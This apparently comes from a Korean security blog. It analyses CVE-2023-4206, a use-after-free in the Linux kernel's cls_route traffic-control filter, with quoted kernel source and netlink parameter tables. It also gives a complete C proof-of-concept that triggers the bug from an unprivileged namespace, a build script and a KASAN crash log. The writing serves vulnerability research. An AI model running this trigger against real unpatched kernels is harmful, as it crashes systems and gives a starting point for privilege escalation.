CVE-2023-4206: Use After Free In Linux Kernel Traffic Control Subsystem Filter Replacement

· omacs's blog


Table of Contents

Introduction #

본 취약점은 리눅스 커널의 Traffic Control (TC) 서브시스템에서 cls_route 필터를 교체하면서 발생하는 use-after-free (UAF) 취약점이다. 본 글에서는 커널 5.18 버전을 기준으로 UAF가 어떻게 발생하는지 알아보고, proof-of-concept (PoC) 코드를 작성해볼 것이다[1].

Rtnetlink를 통해 TC Queuing Discipline이나 TC 필터 기능을 사용하기 위해 설정해야 하는 요소 등에 관한 내용은 다음 링크를 참고하자: https://omacs.prose.sh/cve-2022-2588. 그리고 이 글은 본래 미공개 PoC 작성의 일환으로 시도된 것이지만, KernelCTF에 공격 코드가 제출된 것으로 보여짐을 뒤늦게 확인하였다[3].

Root Cause Analysis #

Cls_route 모듈의 필터를 교체할 때 tc_newfilter 함수가 change 함수 포인터로 route4_change 함수를 호출한다. 이때 별도로 설정하지 않는 구조체 멤버들은 기존의 값을 따라가도록 구현되어({1}) 있다 (net/sched/cls_route.c에서 발췌)[2].

 1static int route4_change(struct net *net, struct sk_buff *in_skb,
 2           struct tcf_proto *tp, unsigned long base, u32 handle,
 3           struct nlattr **tca, void **arg, u32 flags,
 4           struct netlink_ext_ack *extack)
 5{
 6  struct route4_head *head = rtnl_dereference(tp->root);
 7  struct route4_filter __rcu **fp;
 8  struct route4_filter *fold, *f1, *pfp, *f = NULL;
 9  struct route4_bucket *b;
10  struct nlattr *opt = tca[TCA_OPTIONS];
11  struct nlattr *tb[TCA_ROUTE4_MAX + 1];
12  unsigned int h, th;
13  int err;
14  bool new = true;
15
16  if (opt == NULL)
17      return handle ? -EINVAL : 0;
18
19  err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
20                    route4_policy, NULL);
21  if (err < 0)
22      return err;
23
24  fold = *arg;
25  if (fold && handle && fold->handle != handle)
26          return -EINVAL;
27
28  err = -ENOBUFS;
29  f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);
30  if (!f)
31      goto errout;
32
33  err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);
34  if (err < 0)
35      goto errout;
36
37  if (fold) {                 /* {1} */
38      f->id = fold->id;
39      f->iif = fold->iif;
40      f->res = fold->res;
41      f->handle = fold->handle;
42
43      f->tp = fold->tp;
44      f->bkt = fold->bkt;
45      new = false;
46  }
47
48  err = route4_set_parms(net, tp, base, f, handle, head, tb,
49                 tca[TCA_RATE], new, flags, extack);
50  if (err < 0)
51      goto errout;
52
53    /* ... */
54
55  return 0;
56
57errout:
58  if (f)
59      tcf_exts_destroy(&f->exts);
60  kfree(f);
61  return err;
62}

위 코드의 {1}에서 res 멤버는 classful qdisc의 class를 담기 위한 구조체에 대한 포인터이다. 이 class는 RTM_NEWTCLASS 명령어로 만들 수 있고, 필터를 교체할 때 Netlink argument로 TCA_CLASSID를 주어 res 멤버가 그 포인터를 갖도록 할 수 있다.

필터에 class를 연결할 때는 다음과 같은 콜트레이스를 거쳐 filter_cnt 멤버 변수의 값을 증가시킨다 (net/sched/sch_htb.c에서 발췌)[2].

1tc_new_tfilter()
2route4_change() /* tp->ops->change() */
3route4_set_parms()
4tcf_bind_filter()
5__tcf_bind_filter()
6htb_bind_filter() /* q->ops->cl_ops->bind_tcf() */
 1static unsigned long htb_bind_filter(struct Qdisc *sch, unsigned long parent,
 2                   u32 classid)
 3{
 4  struct htb_class *cl = htb_find(classid, sch);
 5
 6  /*if (cl && !cl->level) return 0;
 7   * The line above used to be there to prevent attaching filters to
 8   * leaves. But at least tc_index filter uses this just to get class
 9   * for other reasons so that we have to allow for it.
10   * ----
11   * 19.6.2002 As Werner explained it is ok - bind filter is just
12   * another way to "lock" the class - unlike "get" this lock can
13   * be broken by class during destroy IIUC.
14   */
15  if (cl)
16      cl->filter_cnt++;
17  return (unsigned long)cl;
18}

반대로 연결 해제할 때는 filter_cnt 멤버 변수를 감소시키는 식으로 이해할 수 있다. 그리고 class를 삭제할 때는 다음 콜 트레이스를 거쳐 htb_delete 함수가 filter_cnt가 0인지 확인하고 작업을 진행한다 (net/sched/sch_htb.c에서 발췌)[2].

1tc_ctl_tclass()
2tclass_del_notify()
3htb_delete() /* cops->delete() */
 1static int htb_delete(struct Qdisc *sch, unsigned long arg,
 2            struct netlink_ext_ack *extack)
 3{
 4  struct htb_sched *q = qdisc_priv(sch);
 5  struct htb_class *cl = (struct htb_class *)arg;
 6  struct Qdisc *new_q = NULL;
 7  int last_child = 0;
 8  int err;
 9
10  /* TODO: why don't allow to delete subtree ? references ? does
11   * tc subsys guarantee us that in htb_destroy it holds no class
12   * refs so that we can remove children safely there ?
13   */
14  if (cl->children || cl->filter_cnt)
15      return -EBUSY;
16
17    /* ... */
18}

문제는 필터를 교체할 때 상기 res 멤버 변수를 복사하는데 ({2}), 그 멤버 변수에 담긴 class는 기존 필터가 삭제되면서 unbind된다는 것 ({3})이다. 그래서 교체된 필터가 그 class를 사용함에도 삭제가능한 상태가 된다 (net/sched/cls_route.c에서 발췌)[2].

 1static int route4_change(struct net *net, struct sk_buff *in_skb,
 2           struct tcf_proto *tp, unsigned long base, u32 handle,
 3           struct nlattr **tca, void **arg, u32 flags,
 4           struct netlink_ext_ack *extack)
 5{
 6  struct route4_head *head = rtnl_dereference(tp->root);
 7  struct route4_filter __rcu **fp;
 8  struct route4_filter *fold, *f1, *pfp, *f = NULL;
 9  struct route4_bucket *b;
10  struct nlattr *opt = tca[TCA_OPTIONS];
11  struct nlattr *tb[TCA_ROUTE4_MAX + 1];
12  unsigned int h, th;
13  int err;
14  bool new = true;
15
16  if (opt == NULL)
17      return handle ? -EINVAL : 0;
18
19  err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
20                    route4_policy, NULL);
21  if (err < 0)
22      return err;
23
24  fold = *arg;
25  if (fold && handle && fold->handle != handle)
26          return -EINVAL;
27
28  err = -ENOBUFS;
29  f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);
30  if (!f)
31      goto errout;
32
33  err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);
34  if (err < 0)
35      goto errout;
36
37  if (fold) {
38      f->id = fold->id;
39      f->iif = fold->iif;
40      f->res = fold->res;     /* {2} */
41      f->handle = fold->handle;
42
43      f->tp = fold->tp;
44      f->bkt = fold->bkt;
45      new = false;
46  }
47
48  err = route4_set_parms(net, tp, base, f, handle, head, tb,
49                 tca[TCA_RATE], new, flags, extack);
50  if (err < 0)
51      goto errout;
52
53  h = from_hash(f->handle >> 16);
54  fp = &f->bkt->ht[h];
55  for (pfp = rtnl_dereference(*fp);
56       (f1 = rtnl_dereference(*fp)) != NULL;
57       fp = &f1->next)
58      if (f->handle < f1->handle)
59          break;
60
61  tcf_block_netif_keep_dst(tp->chain->block);
62  rcu_assign_pointer(f->next, f1);
63  rcu_assign_pointer(*fp, f);
64
65  if (fold && fold->handle && f->handle != fold->handle) {
66      th = to_hash(fold->handle);
67      h = from_hash(fold->handle >> 16);
68      b = rtnl_dereference(head->table[th]);
69      if (b) {
70          fp = &b->ht[h];
71          for (pfp = rtnl_dereference(*fp); pfp;
72               fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
73              if (pfp == fold) {
74                  rcu_assign_pointer(*fp, fold->next);
75                  break;
76              }
77          }
78      }
79  }
80
81  route4_reset_fastmap(head);
82  *arg = f;
83  if (fold) {
84      tcf_unbind_filter(tp, &fold->res); /* {3} */
85      tcf_exts_get_net(&fold->exts);
86      tcf_queue_work(&fold->rwork, route4_delete_filter_work);
87  }
88  return 0;
89
90errout:
91  if (f)
92      tcf_exts_destroy(&f->exts);
93  kfree(f);
94  return err;
95}
96

Proof-of-Concept #

이 취약점을 발현시키기 위해서는 다음 순서로 코드가 동작하도록 하면 된다.

  1. Generate new classful qdisc
  2. Generate new class for qdisc
  3. Generate new filter and bind class
  4. Replace original filter
  5. Delete class

Class for Classful Queuing Discipline #

Classful qdisc에 대한 class를 생성할 때 설정해야 하는 요소는 다음과 같다.

nlmsghdr member Value
nlmsg_len NLMSG_LENGTH(sizeof(< subsystem header structure variable >))
nlmsg_flags NLM_FREQUEST OR NLM_FCREATE
nlmsg_type RTM_NEWTFILTER
tcmsg member Value
tcm_family AF_UNSPEC
tcm_ifindex ifindex of network interface
tcm_handle class ID (e.g., 0x10000)
tcm_parent TC_HROOT
Attribute Value
TCA_OPTIONS Not NULL
TCA_HTBPARMS (nested in TCA_OPTIONS) Address of tc_htbopt structure; tc_htbopt->rate.rate = tc_htbopt->ceil.rate = 1

Traffic Control Filter #

필터에 class를 연결하기 위해 설정해야 하는 요소는 다음과 같다.

nlmsghdr member Value
nlmsg_len NLMSG_LENGTH(sizeof(< subsystem header structure variable >))
nlmsg_flags NLM_FREQUEST OR NLM_FCREATE
nlmsg_type RTM_NEWTFILTER
tcmsg member Value
tcm_family AF_UNSPEC
tcm_ifindex ifindex of network interface
tcm_info 32 bits value, which prio for high 16 bits that is not zero and proto for low 16 bits (e.g., prio=0xbeef and proto=ETH_PLOOP)
tcm_handle 0x1
Attribute Value
TCA_KIND "route"
TCA_OPTIONS Not NULL
TCA_ROUTE4TO (nested in TCA_OPTIONS) 0x000000001 (64-bit)
TCA_ROUTE4FROM (nested in TCA_OPTIONS) 0x000000001 (64-bit)
TCA_ROUTE4CLASSID (nested in TCA_OPTIONS) Class ID used for generating new class

Putting it all together #

지금까지 설명한 것으로 UAF를 트리거하는 코드를 작성하면 다음과 같다.

  1#define _GNU_SOURCE
  2
  3#include <stdio.h>
  4#include <string.h>
  5#include <stdlib.h>
  6#include <stdint.h>
  7#include <stdbool.h>
  8#include <signal.h>
  9#include <time.h>
 10#include <sys/mman.h>
 11#include <sys/types.h>
 12#include <sys/utsname.h>
 13#include <sys/wait.h>
 14#include <sys/socket.h>
 15#include <sys/ioctl.h>
 16#include <sys/uio.h>
 17#include <unistd.h>
 18#include <sched.h>
 19#include <fcntl.h>
 20#include <syslog.h>
 21#include <errno.h>
 22#include <netinet/in.h>
 23#include <arpa/inet.h>
 24#include <net/if.h>
 25#include <net/if_arp.h>
 26#include <linux/if_link.h>
 27#include <linux/neighbour.h>
 28#include <linux/netconf.h>
 29#include <linux/if_ether.h>
 30#include <asm/types.h>
 31#include <linux/netlink.h>
 32#include <linux/rtnetlink.h>
 33#include <libnl3/netlink/route/tc.h>
 34#include <libnl3/netlink/route/qdisc.h>
 35#include <libnl3/netlink/route/qdisc/tbf.h>
 36
 37/* ----------------------< libnetlink >--------------------------------- */
 38
 39struct rtnl_handle {
 40  int         fd;
 41  struct sockaddr_nl  local;
 42  struct sockaddr_nl  peer;
 43  __u32           seq;
 44  __u32           dump;
 45  int         proto;
 46  FILE               *dump_fp;
 47#define RTNL_HANDLE_F_LISTEN_ALL_NSID     0x01
 48  int         flags;
 49};
 50
 51#define NLMSG_TAIL(nmsg) \
 52  ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
 53
 54
 55static inline const char *rta_getattr_str(const struct rtattr *rta)
 56{
 57  return (const char *)RTA_DATA(rta);
 58}
 59
 60static int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
 61        int alen)
 62{
 63  int len = RTA_LENGTH(alen);
 64  struct rtattr *rta;
 65
 66  if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
 67      fprintf(stderr,
 68          "addattr_l ERROR: message exceeded bound of %d\n",
 69          maxlen);
 70      return -1;
 71  }
 72  rta = NLMSG_TAIL(n);
 73  rta->rta_type = type;
 74  rta->rta_len = len;
 75  memcpy(RTA_DATA(rta), data, alen);
 76  n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
 77  return 0;
 78}
 79
 80static int addattr32(struct nlmsghdr *n, int maxlen, int type, __u32 data)
 81{
 82  return addattr_l(n, maxlen, type, &data, sizeof(__u32));
 83}
 84
 85static int addattr64(struct nlmsghdr *n, int maxlen, int type, __u64 data)
 86{
 87  return addattr_l(n, maxlen, type, &data, sizeof(__u64));
 88}
 89
 90static struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type)
 91{
 92  struct rtattr *nest = NLMSG_TAIL(n);
 93
 94  addattr_l(n, maxlen, type, NULL, 0);
 95    /* addattr_l(n, maxlen, type, &nest, 8); */
 96  return nest;
 97}
 98
 99static int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest)
100{
101  nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
102  return n->nlmsg_len;
103}
104
105#ifndef SOL_NETLINK
106#define SOL_NETLINK 270
107#endif
108
109#ifndef MIN
110#define MIN(a, b) ((a) < (b) ? (a) : (b))
111#endif
112
113static int rcvbuf =1024 * 1024;
114
115static void rtnl_close(struct rtnl_handle *rth)
116{
117  if (rth->fd >= 0) {
118      close(rth->fd);
119      rth->fd = -1;
120  }
121}
122
123static int rtnl_open_byproto(struct rtnl_handle *rth, unsigned int subscriptions,
124            int protocol)
125{
126  socklen_t addr_len;
127  int sndbuf = 32768;
128
129  memset(rth, 0, sizeof(*rth));
130
131  rth->proto = protocol;
132  rth->fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);
133  if (rth->fd < 0) {
134      perror("Cannot open netlink socket");
135      return -1;
136  }
137
138  if (setsockopt(rth->fd, SOL_SOCKET, SO_SNDBUF,
139             &sndbuf, sizeof(sndbuf)) < 0) {
140      perror("SO_SNDBUF");
141      return -1;
142  }
143
144  if (setsockopt(rth->fd, SOL_SOCKET, SO_RCVBUF,
145             &rcvbuf, sizeof(rcvbuf)) < 0) {
146      perror("SO_RCVBUF");
147      return -1;
148  }
149
150  memset(&rth->local, 0, sizeof(rth->local));
151  rth->local.nl_family = AF_NETLINK;
152  rth->local.nl_groups = subscriptions;
153
154  if (bind(rth->fd, (struct sockaddr *)&rth->local,
155       sizeof(rth->local)) < 0) {
156      perror("Cannot bind netlink socket");
157      return -1;
158  }
159  addr_len = sizeof(rth->local);
160  if (getsockname(rth->fd, (struct sockaddr *)&rth->local,
161          &addr_len) < 0) {
162      perror("Cannot getsockname");
163      return -1;
164  }
165  if (addr_len != sizeof(rth->local)) {
166      fprintf(stderr, "Wrong address length %d\n", addr_len);
167      return -1;
168  }
169  if (rth->local.nl_family != AF_NETLINK) {
170      fprintf(stderr, "Wrong address family %d\n",
171          rth->local.nl_family);
172      return -1;
173  }
174  rth->seq = time(NULL);
175  return 0;
176}
177
178static int rtnl_open(struct rtnl_handle *rth, unsigned int subscriptions)
179{
180  return rtnl_open_byproto(rth, subscriptions, NETLINK_ROUTE);
181}
182
183static int __rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n,
184             struct nlmsghdr *answer, size_t maxlen,
185             bool show_rtnl_err)
186{
187  int status;
188  unsigned int seq;
189  struct nlmsghdr *h;
190  struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
191  struct iovec iov = {
192      .iov_base = n,
193      .iov_len = n->nlmsg_len
194  };
195  struct msghdr msg = {
196      .msg_name = &nladdr,
197      .msg_namelen = sizeof(nladdr),
198      .msg_iov = &iov,
199      .msg_iovlen = 1,
200  };
201  char   buf[32768] = {};
202
203  n->nlmsg_seq = seq = ++rtnl->seq;
204
205  if (answer == NULL)
206      n->nlmsg_flags |= NLM_F_ACK;
207
208  status = sendmsg(rtnl->fd, &msg, 0);
209  if (status < 0) {
210      perror("Cannot talk to rtnetlink");
211      return -1;
212  }
213
214  iov.iov_base = buf;
215  while (1) {
216      iov.iov_len = sizeof(buf);
217      status = recvmsg(rtnl->fd, &msg, 0);
218
219      if (status < 0) {
220          if (errno == EINTR || errno == EAGAIN)
221              continue;
222          fprintf(stderr, "netlink receive error %s (%d)\n",
223              strerror(errno), errno);
224          return -1;
225      }
226      if (status == 0) {
227          fprintf(stderr, "EOF on netlink\n");
228          return -1;
229      }
230      if (msg.msg_namelen != sizeof(nladdr)) {
231          fprintf(stderr,
232              "sender address length == %d\n",
233              msg.msg_namelen);
234          exit(1);
235      }
236      for (h = (struct nlmsghdr *)buf; status >= sizeof(*h); ) {
237          int len = h->nlmsg_len;
238          int l = len - sizeof(*h);
239
240            /* DumpHex(&msg, len); */
241
242          if (l < 0 || len > status) {
243              if (msg.msg_flags & MSG_TRUNC) {
244                  fprintf(stderr, "Truncated message\n");
245                  return -1;
246              }
247              fprintf(stderr,
248                  "!!!malformed message: len=%d\n",
249                  len);
250              exit(1);
251          }
252
253          if (nladdr.nl_pid != 0 ||
254              h->nlmsg_pid != rtnl->local.nl_pid ||
255              h->nlmsg_seq != seq) {
256              /* Don't forget to skip that message. */
257              status -= NLMSG_ALIGN(len);
258              h = (struct nlmsghdr *)((char *)h + NLMSG_ALIGN(len));
259              continue;
260          }
261
262          if (h->nlmsg_type == NLMSG_ERROR) {
263              struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
264
265              if (l < sizeof(struct nlmsgerr)) {
266                  fprintf(stderr, "ERROR truncated\n");
267              } else if (!err->error) {
268                  if (answer)
269                      memcpy(answer, h,
270                             MIN(maxlen, h->nlmsg_len));
271                  return 0;
272              }
273
274              if (rtnl->proto != NETLINK_SOCK_DIAG && show_rtnl_err)
275                  fprintf(stderr,
276                      "RTNETLINK answers: %s\n",
277                      strerror(-err->error));
278              errno = -err->error;
279              return -1;
280          }
281
282          if (answer) {
283              memcpy(answer, h,
284                     MIN(maxlen, h->nlmsg_len));
285              return 0;
286          }
287
288          fprintf(stderr, "Unexpected reply!!!\n");
289
290          status -= NLMSG_ALIGN(len);
291          h = (struct nlmsghdr *)((char *)h + NLMSG_ALIGN(len));
292      }
293
294      if (msg.msg_flags & MSG_TRUNC) {
295          fprintf(stderr, "Message truncated\n");
296          continue;
297      }
298
299      if (status) {
300          fprintf(stderr, "!!!Remnant of size %d\n", status);
301          exit(1);
302      }
303  }
304}
305
306static int rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n,
307        struct nlmsghdr *answer, size_t maxlen)
308{
309  return __rtnl_talk(rtnl, n, answer, maxlen, true);
310}
311
312static int parse_rtattr_flags(struct rtattr *tb[], int max, struct rtattr *rta,
313             int len, unsigned short flags)
314{
315  unsigned short type;
316
317  memset(tb, 0, sizeof(struct rtattr *) * (max + 1));
318  while (RTA_OK(rta, len)) {
319      type = rta->rta_type & ~flags;
320      if ((type <= max) && (!tb[type]))
321          tb[type] = rta;
322      rta = RTA_NEXT(rta, len);
323  }
324  if (len)
325      fprintf(stderr, "!!!Deficit %d, rta_len=%d\n",
326          len, rta->rta_len);
327  return 0;
328}
329
330/* --------------------------------------------------------------------- */
331
332enum {
333    TCA_BUF_MAX = (64 * 1024)
334};
335
336struct tc_req {
337    struct nlmsghdr hdr;
338    struct tcmsg tchdr;
339    uint8_t buf[TCA_BUF_MAX];
340};
341
342void die(const char *funcname)
343{
344    perror(funcname);
345    exit(EXIT_FAILURE);
346}
347
348#define LOG printf
349#define LOG_FUNC() LOG("%s:%d [%s]\n", __FILE__, __LINE__, __func__)
350
351void print_qdisc_info(const char *ifname)
352{
353    int err;
354    struct nlmsghdr res;
355    struct tcmsg *t;
356    struct rtattr *tb[TCA_MAX + 1];
357    struct rtnl_handle rth;
358    struct tc_req qdreq;
359
360    LOG_FUNC();
361
362    err = rtnl_open(&rth, 0);
363    if (err)
364        die("rtnl_open");
365
366    bzero(&qdreq, sizeof(qdreq));
367    qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
368    qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
369    qdreq.hdr.nlmsg_type = RTM_GETQDISC;
370
371    qdreq.tchdr.tcm_family = AF_UNSPEC;
372    qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
373
374    LOG("ifindex: %d\n", qdreq.tchdr.tcm_ifindex);
375
376    err = rtnl_talk(&rth, &qdreq.hdr, &res, TCA_BUF_MAX);
377    if (err < 0)
378        die("rtnl_talk");
379
380    t = NLMSG_DATA(&res);
381    if (res.nlmsg_type != RTM_NEWQDISC && res.nlmsg_type != RTM_DELQDISC)
382        die("Not a qdisc");
383
384    parse_rtattr_flags(tb,
385                       TCA_MAX,
386                       TCA_RTA(t),
387                       res.nlmsg_len - NLMSG_LENGTH(sizeof(*t)),
388                       NLA_F_NESTED);
389    printf("qdisc %s %x:[%08x]\n", rta_getattr_str(tb[TCA_KIND]),
390           t->tcm_handle >> 16, t->tcm_handle);
391
392    rtnl_close(&rth);
393}
394
395void user_tc_modify_qdisc(const char *ifname, int cmd, unsigned int flags,
396                     uint32_t handle, const char *kind)
397{
398    int err;
399    struct rtnl_handle rth;
400    struct tc_req qdreq;
401    struct rtattr *tail;
402    struct tc_htb_glob glob;
403
404    LOG_FUNC();
405
406    err = rtnl_open(&rth, 0);
407    if (err)
408        die("rtnl_open");
409
410    qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
411    qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
412    qdreq.hdr.nlmsg_type = cmd;
413
414    qdreq.tchdr.tcm_family = AF_UNSPEC;
415    qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
416    qdreq.tchdr.tcm_handle = handle;
417    qdreq.tchdr.tcm_parent = TC_H_ROOT;
418
419    addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_KIND, kind, strlen(kind));
420    tail = addattr_nest(&qdreq.hdr, sizeof(qdreq), TCA_OPTIONS);
421    bzero(&glob, sizeof(glob));
422    glob.version = 0x00030011 >> 16;
423    addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_HTB_INIT,
424              &glob, sizeof(glob));
425    addattr_nest_end(&qdreq.hdr, tail);
426
427    err = rtnl_talk(&rth, &qdreq.hdr, NULL, 0);
428    if (err < 0)
429        die("rtnl_talk");
430
431    rtnl_close(&rth);
432}
433
434void user_tc_ctl_tclass(const char *ifname, int cmd, unsigned int flags,
435                     uint32_t handle)
436{
437    int err;
438    struct rtnl_handle rth;
439    struct tc_req qdreq;
440    struct rtattr *tail;
441    struct tc_htb_opt hopt;
442
443    LOG_FUNC();
444
445    err = rtnl_open(&rth, 0);
446    if (err)
447        die("rtnl_open");
448
449    qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
450    qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
451    qdreq.hdr.nlmsg_type = cmd;
452
453    qdreq.tchdr.tcm_family = AF_UNSPEC;
454    qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
455    qdreq.tchdr.tcm_handle = handle; /* classid */
456    qdreq.tchdr.tcm_parent = TC_H_ROOT;
457
458    tail = addattr_nest(&qdreq.hdr, sizeof(qdreq), TCA_OPTIONS);
459    bzero(&hopt, sizeof(hopt));
460    hopt.rate.rate = hopt.ceil.rate = 1;
461    addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_HTB_PARMS,
462              &hopt, sizeof(hopt));
463    addattr_nest_end(&qdreq.hdr, tail);
464
465    err = rtnl_talk(&rth, &qdreq.hdr, NULL, 0);
466    if (err < 0)
467        die("rtnl_talk");
468
469    rtnl_close(&rth);
470}
471
472void user_tc_new_tfilter(const char *ifname, int cmd,
473                         unsigned int flags, uint32_t handle, uint16_t prio,
474                         uint16_t proto,
475                         const char *kind, uint64_t from, uint64_t to,
476                         uint32_t classid)
477{
478    int err;
479    struct rtnl_handle rthdle;
480    struct tc_req req;
481    struct rtattr *tail;
482
483    LOG_FUNC();
484
485    err = rtnl_open(&rthdle, 0);
486    if (err < 0)
487        die("rtnl_open");
488
489    bzero(&req, sizeof(req));
490    req.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(req.tchdr));
491    req.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
492    req.hdr.nlmsg_type = cmd;
493
494    req.tchdr.tcm_family = AF_UNSPEC;
495    req.tchdr.tcm_ifindex = if_nametoindex(ifname);
496    req.tchdr.tcm_info = TC_H_MAKE(prio << 16, proto);
497    req.tchdr.tcm_handle = handle;
498
499    addattr_l(&req.hdr, sizeof(req),
500              TCA_KIND,
501              kind, strlen(kind));
502    tail = addattr_nest(&req.hdr, sizeof(req), TCA_OPTIONS);
503    addattr64(&req.hdr, sizeof(req),
504              TCA_ROUTE4_TO,
505              to);
506    addattr64(&req.hdr, sizeof(req),
507              TCA_ROUTE4_FROM,
508              from);
509    if (classid != 0xdeadbeef) {
510        addattr32(&req.hdr, sizeof(req),
511                  TCA_ROUTE4_CLASSID,
512                  classid);
513    }
514    addattr_nest_end(&req.hdr, tail);
515
516    err = rtnl_talk(&rthdle, &req.hdr, NULL, 0);
517    if (err < 0) {
518        LOG("handle: %x, from: %lx, to: %lx\n", handle, from, to);
519        die("rtnl_talk");
520    }
521
522    rtnl_close(&rthdle);
523}
524
525int main(int argc, char *argv[])
526{
527    int res;
528
529    res = unshare(CLONE_NEWUSER | CLONE_NEWNET);
530    if (res == -1)
531        die("unshare");
532
533    user_tc_modify_qdisc("lo",
534                    RTM_NEWQDISC,
535                    NLM_F_CREATE,
536                    0x10000,
537                    "htb");
538    print_qdisc_info("lo");
539
540    user_tc_ctl_tclass("lo",
541                       RTM_NEWTCLASS,
542                       NLM_F_CREATE,
543                       0x10000);
544
545    user_tc_new_tfilter("lo",
546                        RTM_NEWTFILTER,
547                        NLM_F_CREATE,
548                        0x10001,
549                        0xbeef, ETH_P_LOOP,
550                        "route",
551                        0x00000001, 0x00000001, 0x10000);
552
553    user_tc_new_tfilter("lo",
554                        RTM_NEWTFILTER,
555                        NLM_F_CREATE,
556                        0x10001,
557                        0xbeef, ETH_P_LOOP,
558                        "route",
559                        0x2, 0x2, 0xdeadbeef);
560
561    user_tc_ctl_tclass("lo",
562                       RTM_DELTCLASS,
563                       NLM_F_CREATE,
564                       0x10000);
565
566    return 0;
567}

위 코드를 다음 스크립트로 컴파일하고

1#!/bin/bash
2
3
4src=$1
5exe=${src:0:-2}
6
7gcc -I/usr/include/libnl3/ $src -o $exe -lnl-3 -lmnl -lnl-route-3

실행하면 다음과 같이 KASAN 로그를 얻는다.

 1$ ./cve-2023-4206-poc 
 2cve-2023-4206-poc.c:404 [user_tc_modify_qdisc]
 3cve-2023-4206-poc.c:360 [print_qdisc_info]
 4ifindex: 1
 5!!!Deficit 100, rta_len=0
 6qdisc htb 1:[00010000]
 7cve-2023-4206-poc.c:443 [user_tc_ctl_tclass]
 8cve-2023-4206-poc.c:483 [user_tc_new_tfilter]
 9cve-2023-4206-poc.c:483 [user_tc_new_tfilter]
10cve-2023-4206-poc.c:443 [user_tc_ctl_tclass]
11ubuntu@ubuntu:~$ [  143.352899] ================================================
12[  143.355955] BUG: KASAN: use-after-free in htb_unbind_filter+0x1b/0x30 [sch_h]
13[  143.357384] Read of size 4 at addr ffff8880befd8078 by task kworker/u4:1/44
14[  143.358387] 
15[  143.358615] CPU: 1 PID: 44 Comm: kworker/u4:1 Not tainted 5.18.0 #1
16[  143.359556] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-4
17[  143.361300] Workqueue: netns cleanup_net
18[  143.361746] Call Trace:
19[  143.361981]  <TASK>
20[  143.362191]  dump_stack_lvl+0x49/0x60
21[  143.362538]  print_report.cold+0x5e/0x5d0
22[  143.362915]  ? htb_unbind_filter+0x1b/0x30 [sch_htb]
23[  143.363380]  kasan_report+0xaa/0x120
24[  143.363718]  ? htb_unbind_filter+0x1b/0x30 [sch_htb]
25[  143.364213]  __asan_load4+0x89/0xa0
26[  143.364545]  htb_unbind_filter+0x1b/0x30 [sch_htb]
27[  143.364994]  route4_destroy+0x240/0x4d0 [cls_route]
28[  143.365452]  ? route4_init+0x60/0x60 [cls_route]
29[  143.365883]  ? __kasan_check_write+0x14/0x20
30[  143.366284]  ? mutex_unlock+0x81/0xd0
31[  143.366631]  tcf_proto_destroy+0x54/0x150
32[  143.367009]  tcf_proto_put+0x5b/0x80
33[  143.367348]  tcf_chain_flush+0xdf/0x150
34[  143.367710]  __tcf_block_put+0xea/0x1c0
35[  143.368083]  tcf_block_put+0xca/0x110
36[  143.368430]  ? tcf_block_put_ext+0x60/0x60
37[  143.368817]  htb_destroy+0xed/0x760 [sch_htb]
38[  143.369229]  ? rcu_exp_wait_wake+0x570/0x570
39[  143.369632]  ? htb_destroy_class_offload+0x830/0x830 [sch_htb]
40[  143.370172]  ? htb_reset+0x1dd/0x2a0 [sch_htb]
41[  143.370644]  ? qdisc_reset+0x1dd/0x280
42[  143.370997]  qdisc_destroy+0x63/0x150
43[  143.371353]  qdisc_put+0x6b/0x80
44[  143.371680]  dev_shutdown+0x129/0x180
45[  143.372052]  unregister_netdevice_many+0x4dd/0xc50
46[  143.372502]  ? __kasan_check_read+0x11/0x20
47[  143.372895]  ? dev_cpu_dead+0x400/0x400
48[  143.373258]  ? unregister_netdevice_many+0xc50/0xc50
49[  143.373719]  default_device_exit_batch+0x2df/0x370
50[  143.374171]  ? __dev_change_net_namespace+0xaf0/0xaf0
51[  143.374646]  ops_exit_list+0x92/0xa0
52[  143.374988]  cleanup_net+0x2f3/0x5e0
53[  143.375328]  ? unregister_pernet_device+0x60/0x60
54[  143.375766]  ? rtnl_unlock+0xe/0x20
55[  143.376131]  process_one_work+0x44f/0x740
56[  143.376515]  worker_thread+0x2bb/0x6f0
57[  143.376872]  ? process_one_work+0x740/0x740
58[  143.378738]  kthread+0x179/0x1b0
59[  143.380534]  ? kthread_complete_and_exit+0x30/0x30
60[  143.382479]  ret_from_fork+0x22/0x30
61[  143.384282]  </TASK>
62[  143.385901] 
